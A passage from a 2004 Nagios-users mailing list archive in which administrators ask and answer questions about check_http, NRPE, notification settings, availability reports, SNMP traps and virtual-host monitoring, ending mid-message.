_______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mark at tc3net.com Wed Mar 3 19:16:17 2004 From: mark at tc3net.com (Mark Southward) Date: Wed, 3 Mar 2004 13:16:17 -0500 Subject: Missing cgi? In-Reply-To: <8258814A187BCF49BDEE435A5433B18BD8F2AA@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BD8F2AA@exchange.drumbeatdigital.com> Message-ID: <000201c4014b$9f18e3c0$0cc07040@tc3> Yes, you need a plugin for the 3D stuff to work. http://www.parallelgraphics.com/products/cortona/ As for the other errors...I have not come across that problem. --Mark -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Dmitry Chorine Sent: Wednesday, March 03, 2004 12:47 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Missing cgi? Why is it when I click on statusmpa I get Not Found The requested URL /nagios/cgi-bin/statusmap.cgi was not found on this server. And when click on 3-D Status Map I'm offered to downloadw statuswrl ('cause I need some plug in?) Also under reporting Trends I get same thing Not Found The requested URL /nagios/cgi-bin/trends.cgi was not found on this server. And same in Alert Histogram Not Found The requested URL /nagios/cgi-bin/histogram.cgi was not found on this server. ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op?k _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at sbtt.net Wed Mar 3 21:47:11 2004 From: nagios at sbtt.net (Steve) Date: Wed, 03 Mar 2004 15:47:11 -0500 Subject: check_http Message-ID: <4046444F.4080705@sbtt.net> how can I report an error if content is found via something like: check_http -H ip -p 1111 -a id:passwd -s Offline instead of getting "HTTP ok: ..." I want it to report error when text x (offline) is found and normal when not found, ie HTTP CRITICAL would be normal state..? thks -s ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Wed Mar 3 22:09:51 2004 From: marc at ena.com (Marc Powell) Date: Wed, 3 Mar 2004 15:09:51 -0600 Subject: check_http Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2ED@mismail2.ena.com> On Wednesday, March 03, 2004 2:47 PM, Steve shared with us: > how can I report an error if content is found via something like: > > check_http -H ip -p 1111 -a id:passwd -s Offline > > instead of getting "HTTP ok: ..." > > I want it to report error when text x (offline) is found and normal > when not found, ie HTTP CRITICAL would be normal state..? Use the negate plugin. It does exactly what you want. negate check_http -H ip -p 1111 -a id:passwd -s Offline -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Wed Mar 3 22:52:55 2004 From: jyao at aav.com.au (Yao, Jack) Date: Thu, 4 Mar 2004 08:52:55 +1100 Subject: traliing slash in URL path configuration Message-ID: Yeah , I agreed with you. So I went to submit this experience and solution to the FAQ section, hope it will help others as well Thanks Jack -----Original Message----- From: Cook, Garry [mailto:GWCOOK at mactec.com] Sent: Thursday, 4 March 2004 3:38 AM To: Yao, Jack Subject: RE: [Nagios-users] traliing slash in URL path configuration Yao, Jack wrote: > Thanks so much Gary. It is the answer to the whole traliaing slash > thing. UseCanonical directive has to be set to "off" in order to > have the Alias > directive to work as it is configured, otherwise Apache will > keep sending > the unknown URL to http://_default_/[directory] > > Also thanks to everyone that have been very helpful to me as well. > > Jack > I'm glad I could help. I would recommend adding this to the Nagios FAQ at nagios.org. Chances are that someone else might need this info in the future, and if you weren't able to find the information that you needed there, perhaps you can contribute back to the project with the necessary details. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jyao at aav.com.au Wed Mar 3 22:58:28 2004 From: jyao at aav.com.au (Yao, Jack) Date: Thu, 4 Mar 2004 08:58:28 +1100 Subject: notification once only Message-ID: I saw one part in the object configuration document. It said that if you set notification_interval to be zero , Nagios will only send one notification out and will not re sent again so I tried. And it works :-) I only receive one notification when problem arises and another when services is recovered to be alived again. Thanks for your assistance Jack -----Original Message----- From: jeff vier [mailto:jeff.vier at tradingtechnologies.com] Sent: Thursday, 4 March 2004 4:11 AM To: Yao, Jack Cc: Nagios mail user list (nagios-users at lists.sourceforge.net) Subject: Re: [Nagios-users] notification once only On Tue, 2004-03-02 at 19:37, Yao, Jack wrote: > Is there any parameters in the config files [either hosts.cfg or > services.cfg] that will let me do that ? In your services.cfg, set your notification_interval really high. 525600 is 1 year. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Wed Mar 3 23:53:55 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 17:53:55 -0500 Subject: Core dump :( Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2B0@exchange.drumbeatdigital.com> Any solutions on this tama# ./check_http -H 192.168.3.17 HTTP OK HTTP/1.1 200 OK - 1268 bytes in 0.004 seconds |time=4077us;;;0 size=1268B;;;0 tama# ./check_http -H 192.168.3.17 -p 8080 Segmentation fault (core dumped) tama# ./check_tcp -H 192.168.3.17 Segmentation fault (core dumped) tama# ./check_tcp -H 192.168.3.17 -p 8080 Segmentation fault (core dumped) tama# I'm runnin nagios-1.2 on FreeBSD 4.9-RELEASE-p2 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Wed Mar 3 23:58:11 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 17:58:11 -0500 Subject: (no subject) Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2B1@exchange.drumbeatdigital.com> Also I assume I should be able to check same host for more then one service, right? >From my service.cfg I have this define service{ use ping host_name web } define service{ use http host_name web } >From my url http://mydomain/nagios/cgi-bin/status.cgi?host=all For some reason hostname doesn't appear, I see rest of the table though.. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dfinn at twelvehorses.com Thu Mar 4 01:18:41 2004 From: dfinn at twelvehorses.com (Daniel Finn) Date: Wed, 3 Mar 2004 16:18:41 -0800 (PST) Subject: best way to check one web server w/many vhosts Message-ID: I'm trying to do something like this and wondering how to do it: define service{ use generic-service host_name vhost1.com,vhost2.com,vhost3.com,vhost4.com,vhost5.com,vhost6.com,vhost7.com,vhost8.com,vhost9.com,vhost10.com service_description Vhost-HTTP is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups linux-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_http!192.168.0.1 } so multiple vhosts on one IP, I would like to check the IP to ensure it's answering for each vhost. Unfortunately when I tried to do it like this nagios complained that : Error: Could not find host 'vhost1.com' Error: Could not expand hostgroups and/or hosts specified in service I would really like to not have to add a host entry for each one of these hosts. There are only 10 in the example but in my real environment there are hundreds. What's the best way to do this? Thanks Dan Finn Unix System Administrator Twelve Horses North America Cell : 775.233.1774 Desk : 775.337.3336 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From g.vickers at qut.edu.au Thu Mar 4 03:10:53 2004 From: g.vickers at qut.edu.au (Greg Vickers) Date: Thu, 04 Mar 2004 12:10:53 +1000 Subject: best way to check one web server w/many vhosts In-Reply-To: References: Message-ID: <5.2.0.9.2.20040304120250.011a7fd8@imap.qut.edu.au> Daniel, First, you can't put DNS names into a service check, the host_name directive can only have names as defined in a host definition, e.g. the host_name declaration in the host definition. I can give you two methods of doing this: 1. Create a host definition per virtual host, put those hosts into a hostgroup and check the hostgroup. That way you will easily see which hosts are down in that cluster of virtual hosts (and you can use clustering checks etc.) 2. Create a single host that contains the addresses (IP, whatever) of each cluster of virtual hosts. e.g.: define host{ host_name vhostcluster1 address ip1, ip2, ip3 etc } (But then you will lose the ability in Nagios to do checks on a cluster etc.) Then write your service check command so that it knows how to deal with multiple addresses being given to it, and ensure that it gives you back good information when one of those checks fails. Both methods will take bit of work, maybe you can script the generation of your host definitions (I did for our 1000+ lab computers that we monitor.) Or, if you are feeling adventurous, you can look at the second method. I am sure that other people here will have other methods you can try. Greg At 10:18 AM 04/03/2004, Daniel Finn wrote: >I'm trying to do something like this and wondering how to do it: > >define service{ > use generic-service > host_name > vhost1.com,vhost2.com,vhost3.com,vhost4.com,vhost5.com,vhost6.com,vhost7.com,vhost8.com,vhost9.com,vhost10.com > service_description Vhost-HTTP > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 3 > retry_check_interval 1 > contact_groups linux-admins > notification_interval 120 > notification_period 24x7 > notification_options w,u,c,r > check_command check_http!192.168.0.1 > } > >so multiple vhosts on one IP, I would like to check the IP to ensure it's >answering for each vhost. Unfortunately when I tried to do it like this >nagios complained that : > >Error: Could not find host 'vhost1.com' >Error: Could not expand hostgroups and/or hosts specified in service > >I would really like to not have to add a host entry for each one of these >hosts. There are only 10 in the example but in my real environment there >are hundreds. What's the best way to do this? > >Thanks > > >Dan Finn >Unix System Administrator >Twelve Horses North America >Cell : 775.233.1774 >Desk : 775.337.3336 > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when >reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null ================================= Greg Vickers Computer Systems Officer Student Support and Systems, Teaching and Learning Support Systems, Queensland University of Technology, Kelvin Grove Campus, Brisbane, Australia CRICOS No 00213J Ph: 07 3864 8276 Fax: 07 3864 5425 Mob: 0416 001 674 SD: #66147 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Thu Mar 4 03:28:30 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Wed, 3 Mar 2004 21:28:30 -0500 Subject: Core dump :( In-Reply-To: <8258814A187BCF49BDEE435A5433B18BD8F2B0@exchange.drumbeatdigital.com> References: <8258814A187BCF49BDEE435A5433B18BD8F2B0@exchange.drumbeatdigital.com> Message-ID: <20040303212830.4d817d9b.karl@debisschop.net> On Wed, 3 Mar 2004 17:53:55 -0500 "Dmitry Chorine" wrote: > Any solutions on this > > tama# ./check_http -H 192.168.3.17 > HTTP OK HTTP/1.1 200 OK - 1268 bytes in 0.004 seconds |time=4077us;;;0 > size=1268B;;;0 > tama# ./check_http -H 192.168.3.17 -p 8080 > Segmentation fault (core dumped) > tama# ./check_tcp -H 192.168.3.17 > Segmentation fault (core dumped) > tama# ./check_tcp -H 192.168.3.17 -p 8080 > Segmentation fault (core dumped) > tama# > > I'm runnin nagios-1.2 on FreeBSD 4.9-RELEASE-p2 What plugin release (run both check_tcp and check_http with --version)? I assume that there is content on 8080 and there should be a 200 HTTP status code - is that true? Can you reporduce this on any publically accesible URLs so others could verify and debug? -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From DGibbs at Skychannel.com.au Thu Mar 4 06:11:33 2004 From: DGibbs at Skychannel.com.au (Darren Gibbs) Date: Thu, 4 Mar 2004 16:11:33 +1100 Subject: Nagios availability & % Time Undetermined Message-ID: <3E5A678EA834B246A2CD598E8C188498681E1F@sky10.skychannel.int> I have a Nagios setup currently monitoring one host, with serveral services. One of those services is ping {check_host_alive}, which shows green if the host is up no problems. However, when I attempt to access the "Availability" reports from the menu and select the individual host, I get something like this State Type / Reason Time % Total Time % Known Time UP Unscheduled 0d 7h 31m 28s 4.479% 98.869% Scheduled 0d 0h 0m 0s 0.000% 0.000% Total 0d 7h 31m 28s 4.479% 98.869% DOWN Unscheduled 0d 0h 5m 10s 0.051% 1.131% Scheduled 0d 0h 0m 0s 0.000% 0.000% Total 0d 0h 5m 10s 0.051% 1.131% UNREACHABLE Unscheduled 0d 0h 0m 0s 0.000% 0.000% Scheduled 0d 0h 0m 0s 0.000% 0.000% Total 0d 0h 0m 0s 0.000% 0.000% Undetermined Nagios Not Running 0d 0h 0m 0s 0.000% Insufficient Data 6d 16h 23m 21s 95.470% Total 6d 16h 23m 21s 95.470% All Total 6d 23h 59m 59s 100.000% 100.000% The high percentage of "Insufficient data" had got me baffled. Nagios is, as far as I can tell, checking the box fine. The checks run every 5 minutes, I get notified if anything breaks, everything else looks fine - I can't figure out why this list is reporting so much undetermined time. Any clues? ANyone know how to erase these total figures, maybe, and start again from scratch? Thanks. Darren Gibbs IT Dept. Sky Channel PTY Ltd Phone: +61 2 9451 0888 Direct: +61 2 9975 0344 Fax: +61 2 9975 6443 Mobile: 0422 005 541 Email: DGibbs at skychannel.com.au Visit our website http://www.skychannel.com.au/ --- "This message and any attachment to it is intended for the use of the individual or entity to whom it is addressed by the first sender and contains information which may be confidential and/or privileged. If you receive this message and any attachment in error, please delete it immediately and notify the sender by electronic mail or telephone (61 2) 9451 0888. Unless you have been expressly authorised by the sender, you are prohibited from copying, distributing or using the information contained in this message and any attachment. Sky Channel (ABN 77 009 136 010) is a part of the Tab Limited Group. Sky Channel is not responsible for any changes made to this mesage or any attachments other than those made by Sky Channel, or for the effects of changes made by others on the meaning of this message and any attachment. Sky Channel does not represent that any attachment is free from computer viruses or defects and the user assumes all responsibility for any loss, damage or consequence resulting directly or indirectly from the use of any attachment. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From noah at mac.com Thu Mar 4 06:21:36 2004 From: noah at mac.com (Noah Leaman) Date: Wed, 3 Mar 2004 21:21:36 -0800 Subject: volatile state stalking - snmp traps service notifications Message-ID: I might be missing something, or going about this all the wrong way but here I go... I am trying to set things up so that for each router/switch host I have defined (hundreds) I only need to define one Link Up/Down Trap service for each one. I am using SEC to correlate the traps as they are received so that only the important traps are ever sent to nagios (via external commands). So the tricky thing here as I see it is that the "link up events" and the "link down events" for all the various interfaces on any given router could occur at any time and in any order. This is a problem for notifications... I cannot get anymore UP notifications after there has been a "recovery" already. For example: [1078358543] PROCESS_SERVICE_CHECK_RESULT;router-a;Up/Down Trap;2;Interface Serial5/2 is down, Keepalive failed [1078358626] PROCESS_SERVICE_CHECK_RESULT;router-a;Up/Down Trap;2;Interface Serial8/3 is down, Lost Signal [1078358742] PROCESS_SERVICE_CHECK_RESULT;router-a;Up/Down Trap;0;Interface Serial8/3 is up [1078358846] PROCESS_SERVICE_CHECK_RESULT;router-a;Up/Down Trap;0;Interface Serial5/2 is up I have enabled is_volatile and set stalking_options to be o,w,c,u and so I get the first 3 notifications, but not the 4th (I assume because nagios thinks the service has recovered). Here is the service definition: define service { service_description Up/Down Trap host_name router-a check_command check_dummy max_check_attempts 1 active_checks_enabled 0 passive_checks_enabled 1 is_volatile 1 stalking_options o,w,c,u contact_groups admins parallelize_check 1 obsess_over_service 1 check_freshness 0 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 check_period 24x7 normal_check_interval 5 retry_check_interval 1 notification_interval 0 notification_period 24x7 notification_options w,u,c,r } How do you all address the issue of trap monitoring when you want notifications for them? -- Noah ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Thu Mar 4 06:35:18 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Thu, 4 Mar 2004 11:05:18 +0530 Subject: check_telnet not found. Message-ID: <07BBBE93ECD30547BC93005AF54E2557EEA304@blr-sjp-msg.wipro.com> Hi friends, I didn't find the check_telnet in libexec/ folder nor I find the check_telnet in the plugins/ folder in nagios-plugins source directory. For your information I am using plugins 1.4 alpha version .doesnt it have check_telnet.i can instead use check_ssh but I want to know whether it is depreciated or not included in 1.4 version. Any ideas will be greatly appreciated. regards, Prabhu Anandh ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jason+lists.nagios at lixfeld.ca Thu Mar 4 08:49:23 2004 From: jason+lists.nagios at lixfeld.ca (Jason Lixfeld) Date: Thu, 4 Mar 2004 02:49:23 -0500 Subject: check_nagios command not picking up nagios process Message-ID: <742F4443-6DB0-11D8-930C-000A95989E4A@lixfeld.ca> Pulled the command out of the cgi.cfg and ran it manually after the web interface wasn't seeing the nagios process as running: su-2.05b# /usr/local/libexec/nagios/check_nagios -F /var/spool/nagios/status.log -e 5 -C '/usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg' Could not locate a running Nagios process! su-2.05b# ps xa|grep "/usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg" 8519 ?? Ss 0:00.10 /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg 8950 p0 S+ 0:00.00 grep /usr/local/bin/nagios -d /usr/local/etc/nagios/nagios.cfg su-2.05b# file /var/spool/nagios/status.log /var/spool/nagios/status.log: ASCII text su-2.05b# I couldn't find any documentation on this problem except for pointers mentioning "checking the syntax of the check command by running a PS to find the exact command" which I have done, as you can see above. What am I doing wrong? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fmartinezg at fecsa.es Thu Mar 4 09:26:21 2004 From: fmartinezg at fecsa.es (Martinez Gonzalez, Francisco) Date: Thu, 4 Mar 2004 09:26:21 +0100 Subject: best way to check one web server w/many vhosts Message-ID: I had the same problem that you. My solution was the following: I make a shell script (named cluster) that execute any plugin the number of time that ips have an host. For example: if a host have 2 ips, the sctript "cluster" execute x2 the check_ping plugin. This script is very simple. If you want it, say it... Saludos. -----Mensaje original----- De: Daniel Finn [mailto:dfinn at twelvehorses.com] Enviado el: jueves, 04 de marzo de 2004 1:19 Para: nagios-users at lists.sourceforge.net Asunto: [Nagios-users] best way to check one web server w/many vhosts I'm trying to do something like this and wondering how to do it: define service{ use generic-service host_name vhost1.com,vhost2.com,vhost3.com,vhost4.com,vhost5.com,vhost6.com,vhost7.com ,vhost8.com,vhost9.com,vhost10.com service_description Vhost-HTTP is_volatile 0 check_period 24x7 max_check_attempts 3 normal_check_interval 3 retry_check_interval 1 contact_groups linux-admins notification_interval 120 notification_period 24x7 notification_options w,u,c,r check_command check_http!192.168.0.1 } so multiple vhosts on one IP, I would like to check the IP to ensure it's answering for each vhost. Unfortunately when I tried to do it like this nagios complained that : Error: Could not find host 'vhost1.com' Error: Could not expand hostgroups and/or hosts specified in service I would really like to not have to add a host entry for each one of these hosts. There are only 10 in the example but in my real environment there are hundreds. What's the best way to do this? Thanks Dan Finn Unix System Administrator Twelve Horses North America Cell : 775.233.1774 Desk : 775.337.3336 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From prabhu.anandh at wipro.com Thu Mar 4 11:05:00 2004 From: prabhu.anandh at wipro.com (prabhu.anandh at wipro.com) Date: Thu, 4 Mar 2004 15:35:00 +0530 Subject: running apache Message-ID: <07BBBE93ECD30547BC93005AF54E2557EEA44F@blr-sjp-msg.wipro.com> Hi friends, I have already noticed when some one asked about running two instances of apache.he got a reply that ,it can be done.i have to host a webpage in the same machine where nagios runs.wont it conflict.can you think it is possible.i need your guidance regarding this issue. Thanks in advance. regards, Prabhu Anandh ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 11:52:07 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 16:22:07 +0530 Subject: Disk IO monitoring Message-ID: <40470A57.7030004@netmagicsolutions.com> Hi, Is there a generic plugin for monitoring Disk IO on unix servers? Thanks in advance.. - dhawal ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dhawal at netmagicsolutions.com Thu Mar 4 11:53:35 2004 From: dhawal at netmagicsolutions.com (Dhawal Doshy) Date: Thu, 04 Mar 2004 16:23:35 +0530 Subject: Database Support - with historical data Message-ID: <40470AAF.10201@netmagicsolutions.com> Hi, I notice that nagios compiled with mysql support stores only the latest value of host / service status in the servicestatus / hoststatus tables? Is there a way to change this behavior, i'd like to retain the data as samples for historical reports etc.. I have seen the retention data table but wasn't able to make much sense out of it. Thanks, - dhawal ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Thu Mar 4 12:55:00 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Thu, 4 Mar 2004 11:55:00 -0000 Subject: NRPE 2.0 Solaris 8.0 Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379644B49@sh-uk-ex01.uk.w2k.superh.com> I have now turned off ssl and get the following error. CHECK_NRPE: Received 0 bytes from daemon. Check the remote server logs for error messages. Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of McWhirter,Julia Sent: Wednesday, March 03, 2004 4:58 PM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] NRPE 2.0 Solaris 8.0 I have just installed NRPE 2.0. Works fine to Redhat clients but I get the following error to Solaris 8 clients CHECK_NRPE: Error - Could not complete SSL handshake. Have installed the 112438-02 patch for /dev/random* and rebooted the client. Client is listening netstat -a|grep nrpe reports *.nrpe *.* 0 0 24576 0 LISTEN This is my inetd.conf entry nrpe stream tcp nowait nagios /usr/local/nagios/bin/nrpe /usr/local/nagios/bin/nrpe -c /etc/nrpe.cfg --inetd Using the default nrpe.cfg file Any suggestions to get this working? Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec 